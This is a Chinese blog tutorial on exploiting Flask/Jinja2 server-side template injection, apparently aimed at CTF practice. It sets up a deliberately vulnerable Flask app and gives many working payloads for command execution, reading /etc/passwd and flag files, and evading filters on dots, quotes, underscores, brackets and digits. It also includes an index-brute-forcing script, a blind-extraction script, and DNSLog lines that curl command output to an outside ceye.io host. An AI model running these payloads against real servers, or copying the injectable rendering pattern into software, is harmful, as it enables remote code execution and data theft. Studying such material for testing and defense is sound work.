ssti模板注入总结

模板注入总结

介绍

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

原理

服务端模板注入和常见Web注入的成因一样,也是**服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。**其影响范围主要取决于模版引擎的复杂性。

判断模板类型

通常测试模块类型的方式如下图:

image-20210426105430663

flask模板注入

前置知识

什么是Flask?

Flask是一个用Python编写的Web应用程序框架。 它由Armin Ronacher开发,他领导着一个名为Pocco的Python爱好者的国际组织。 Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。 这两个都是Pocco项目。

WSGI

Web服务器网关接口(WSGI,web service gate interface)已被采纳为Python Web应用程序开发的标准。 WSGI是Web服务器和Web应用程序之间通用接口的规范。

WERKZEUG

它是一个WSGI工具包,它实现了请求,响应对象和其他实用程序功能。 这可以在其上构建Web框架。 Flask框架使用Werkzeug作为其一个基础模块之一。

Jinja2

jinja2是Python的流行模板引擎。 网页模板系统将模板与特定的数据源结合起来呈现动态网页。

Flask通常被称为微框架。 它旨在保持应用程序的核心简单且可扩展。 Flask没有用于数据库处理的内置抽象层,也没有形成验证支持。 相反,Flask支持扩展以将这些功能添加到应用程序中。

基础知识

在利用flask模板注入之前我们先需要认识一些Python类的基础知识

常用的内建属性
class

用于返回对象所属的类

>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
base

以字符串的形式返回一个类所继承的类,一般情况下是object

>>> [].__class__.__base__
<class 'object'>
bases

以元组的形式返回一个类所继承的类

>>> [].__class__.__bases__
(<class 'object'>,)
mro

返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类

class GrandFather():
    def __init__(self):
        pass
 
 
class Father(GrandFather):
    pass
 
 
class Son(Father):
    pass
 
 
print(Son.__base__)
print(Son.__bases__)
print(Son.__mro__)

image-20210425212439940

subclasses()

得到object类后,就可以用__subclasses__()获取所有的子类:

>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>,......, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
dict

我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass

>>> import os
>>> os.system('whoami')
laptop-vke4f570\john
0
>>> os.__dict__['s'+'ystem']('whoami')
laptop-vke4f570\john
0

与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__属性的,如[].__dict__会返回错误

__dict__只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性

可以使用__dict__来间接调用一些属性或方法,如:

>>> a=[]
>>> [].__class__.__dict__['append'](a, 'john')
>>> a
['john']
init

__init__用于初始化类,作用就是为了得到function/method模型,意思就是拿到一个类之后要使用__init__之后才能调用里面的函数和属性

global

会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__使用

如果该关键字被过滤了我们可以使用__getattribute__,以下两者等效

__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']
getitem

如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__

当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

builtins、builtin、__builtins__的区别

在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

python2

>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

python3

>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入。不过__builtins____builtin__builtins是有一点区别的,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
laptop-vke4f570\john
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True
过滤器

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。

attr

attr用于获取变量

""|attr("__class__") 
相当于
"".__class__

这个大家应该见的比较多了,常见于点号.被过滤,或者点号.和中括号[]都被过滤的情况。

format

占位符

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
first last random

常用于数字被过滤后想选择最后一个内容,用处不是很多

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
join

将传入的内容拼接返回字符串

"".[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
"".["__class__"]
lower

转换为小写

"".["__CLASS__"|lower]
replace reverse

替换和反转

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
string

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
select unique

通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。 如果没有指定测试,则每个对象都将被计算为布尔值

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

通过配合上面的string来拼接

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
 
得到字符串"__class__"
list

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了

(()|select|string|list).pop(0)

环境

首先安装flask模组

pip3 install flask

在试了几个网上的模板都没用之后发现这个可以用

from flask import Flask, request, render_template_string
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    return render_template_string("Hello %s" % name)
 
if __name__ == "__main__":
    app.debug = True
    app.run()

运行之后访问本地的5000端口即可

image-20220411211005971

route装饰器路由
@app.route('/')

使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如

@app.route('/')
def test():
   return 123

访问127.0.0.1:5000/则会输出123,我们修改一下规则

@app.route('/hello')
def test():
   return 123

这个时候访问127.0.0.1:5000/test会输出123.

image-20210425210217680

此外还可以设置动态网址,

@app.route("/hello/<username>")
def hello_user(username):
  return "user : %s"%username

根据url里的输入,动态辨别身份,此时便可以看到如下页面:

image-20220411211515608

或者可以使用int型,转换器有下面几种:

int    接受整数
float    同 int ,但是接受浮点数
path    和默认的相似,但也接受斜线
 
@app.route('/post/<int:post_id>')
def show_post(post_id):
    # show the post with the given id, the id is an integer
    return 'Post %d' % post_id

img

debug模式

测试的时候,我们可以使用debug,方便调试,增加一句

app.debug = True
#或者
app.run(debug=True)

这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。

模板渲染

使用render_template()render_template_string()方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。

render_template_string("Hello %s" % name)

检测注入

在注入处输入{{7*7}}来测试后端是否会对输入的内容执行

image-20210426103946200

根据返回结果判断是否存在注入漏洞

利用思路

第一步

使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

{{"".__class__}}

image-20210425220826467

第二步

拿到object基类

  • __base__拿到基类:
{{"".__class__.__base__}}

image-20210425221030683

  • __bases__[0]拿到基类:
{{"".__class__.__bases__[0]}}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SbzL4bMu-1649927592026)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210425221118994.png)]

  • __mro__[1]__mro__[-1]拿到基类:
{{"".__class__.__mro__[1]}}
{{"".__class__.__mro__[-1]}}

image-20210425221349550

第三步

__subclasses__()拿到子类列表:

{{"".__class__.__base__.__subclasses__()}}

image-20210425221500154

第四步

在子类列表中寻找中寻找可以getshell的类。

我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类。

这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子。

search = 'popen'
num  = -1
for i in ().__class__.__base__[0].__subclasses__:
  num += 1
  try:
    if search in i.__init__.__globals__.keys():
      print(num, i)
  except:
    pass

image-20210425222340996

可以发现object基类的第133个子类名为os._wrap_close的这个类有popen方法

先调用它的__init__方法进行初始化类,再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen函数来执行命令

"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tKlIJsRO-1649927592027)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210425222543624.png)]

但是上面的方法仅限于在本地寻找,实际操作需要脚本通过不断请求访问去找可以利用的类

import requests
import time
 
search = 'popen'
for i in range(300):
    time.sleep(0.1)
    payload = "name={{().__class__.__base__.__subclasses__()[%s].__init__.__globals__.keys()}}" % i
    url = "http://127.0.0.1:5000/?"
    r = requests.get(url + payload)
    if search in r.text:
        print(r.text)
        print(i)
        break

image-20220412153655703

脚本发现第132个类存在popen函数

或者用循环打印出所有的类和编号,再搜索能用的类:

{%for i in range(300)%}
{{().__class__.__mro__[-1].__subclasses__()[i]}}
{{i}}
{%endfor%}
第五步

利用找到的类

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}

image-20220412153838807

这样就可以操作系统命令了。

config

通常会用{{config}}查询配置信息

image-20220412155830483

env

这个不算类或方法,但是有可能flag会藏在这里

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}
popen

popen()用于执行系统命令,返回一个文件地址,需要用read()来显示文件的内容

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
subprocess.Popen
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
__import__中的os

利用import导入os模块来操作系统命令

{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}
__builtins__代码执行
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
request

jinja2中存在对象request

{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
lipsum

lipsum是一个方法,可以直接调用os方法,也可以使用__buildins__

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

遍历可利用的类方法

这里有一个十分方便的脚本,用于获取可利用的类方法,python2 或 python3都适用,不过仅限于本地获取

#!/usr/bin/env python
# coding: utf-8

import sys

# https://github.com/python/cpython/tree/2.7/Lib
# ls -l /usr/lib/python2.7 | awk '{print$9}' | grep -v '.pyc\|this\|antigravity'

# Python2标准库模块
modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']

# Python3标准库模块
modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']

# 危险模块
methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']

# 基本类型
types = ['', [], (), {}]

# object的派生类
subclasses = {}

# 危险标准库模块
risk_modules = {}

# 遍历派生类并获取模块
for i in range(0, len(object.__subclasses__())):
    try:
        subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
    except Exception as e:
        # print(e)
        pass

print('------------------------------ 思路二 ------------------------------')

# 导入了危险模块的派生类
for i, submodules in subclasses.items():
    for submodule in submodules:
        for method in methods:
            if method == submodule:
                # print(f"object.__subclasses__()[{i}].__init__.__globals__['{method}']")
                print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))

print('------------------------------ 缓冲区 ------------------------------')

# 判断Python版本
if (sys.version_info[0]) == 3:
    modules = modules3
else:
    modules = modules2

# 导入了危险模块的标准库
for module in modules:
    risk_modules[module] = []
    try:
        m = __import__(module)  # 导入模块
        attrs = dir(m)          # 获取属性与方法
        for method in methods:
            if method in attrs: # 若存在危险模块
                risk_modules[module].append(method)
    except Exception as e:
        # print(e)
        pass

print('------------------------------ 思路三 ------------------------------')

# 导入了危险标准库的派生类
for i, submodules in subclasses.items():
    for submodule in submodules:
        for risk_module in risk_modules.keys():
            if risk_module == submodule:
                for method in risk_modules[risk_module]:
                    # print(f"object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']")
                    print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))

print('------------------------------ 思路四 ------------------------------')

# 基本类型的特殊方法
for t in types:
    for method in dir(t):
        # 待比较类型
        c = str(t.__getattribute__(method).__class__)
        # Python2特殊类型
        c2 = "<type 'builtin_function_or_method'>"
        # Python3特殊类型
        c3 = "<class 'builtin_function_or_method'>"
        if c == c2 or c == c3:
            # 转义双引号
            if t == '':
                t = "''"
            print("{t}.{method}.__class__.__call__".format(t=t, method=method))

绕过

过滤.
[]绕过
{{().__class__}}
{{()['__class__']}}
attr()绕过
{{().__class__}}
{{()|attr("__class__")}}
过滤引号
request绕过
  • GET
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
  • POST
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
POST:arg1=open&arg2=/etc/passwd
  • Cookie
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
chr()绕过

先找出chr()函数的位置

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

image-20210426174609410

利用chr()绕过''

#原利用payload
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
#用char()代替引号
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤()

由于执行函数必须要使用小括号,因此过滤小括号后只能查看config配置信息了。

过滤_
十六进制编码绕过

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

关键字也可以使用十六进制编码

string1="__class__"
def tohex(string):
  result = ""
  for i in range(len(string)):
      result=result+"\\x"+hex(ord(string[i]))[2:]
  print(result)
 
tohex(string1)
Unicode编码绕过
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
base64编码绕过

用于__getattribute__使用实例访问属性时。

例如,过滤掉 __class__关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
过滤关键字
双写、大小写
拼接字符
  • +拼接
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}
  • join拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
  • 格式化+管道符
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
替代方法
  • 过滤init,可以用__enter____exit__替代
  • 过滤config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
过滤[]
索引中的[]

使用pop()__getitem__()代替[]

{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}}
 
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[]

魔术方法中本来是没有中括号的,但是如果需要使用[]绕过关键字的话,可以用__getattribute__绕过

{{"".__getattribute__("__cla"+"ss__").__base__}}

也可以配合requests绕过

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(133).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
过滤{}
DNSLOG外带数据

{%%}替代,使用判断语句进行dns外带数据

{% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}
print标记
{%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
过滤数字
用循环找到能利用的类直接用
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
用lipsum不通过数字直接利用
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
构造数字进行拼接

首先构造数字

{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

然后拼接数字,这里以258为例

{% set erwuba=(two~five~eight)|int %}
融合怪

过滤['_', '.', '0-9', '\', ''', '"', '[', ']', '+', 'request']

先确定一个利用的基本payload,越简单越好

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。

先构造数字:

{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

然后查看_在第几个,这里是下标18为下划线

{% set eighteen=nine+nine %}
{{(lipsum|string|list)|attr(pop)(eighteen)}}

这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}

此时就能成功取到_,再用下划线去构造其他的类:

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

再去构造后面用到的方法:

{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

最后就是完整的利用语法:

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合在一起就是:

{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

盲注

脚本
# !/usr/bin/env python  
# python3.7
# coding:utf-8
import requests
 
url = 'http://127.0.0.1:5000/?name='
def check(payload):
    r = requests.get(url+payload).content
    return 'kawhi'.encode() in r
 
password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
 
for i in range(0,100):
    for c in s:
        payload = '{% if ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.open("/flag").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
        if check(payload):
            password += c
            break
    print(password)

image-20220413021039017

DNSLog外带数据
{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}

image-20220413021201175

其他payload

{{[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])}}?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
 
#一句cat flag
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat /flag').read()}}{% endif %}{% endfor %}

image-20220413021606949

参考资料

详解模板注入漏洞(上)

flask之ssti模版注入从零到入门

Python模板注入(SSTI)深入学习

1. SSTI(模板注入)漏洞(入门篇)

SSTI模板注入绕过(进阶篇)

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
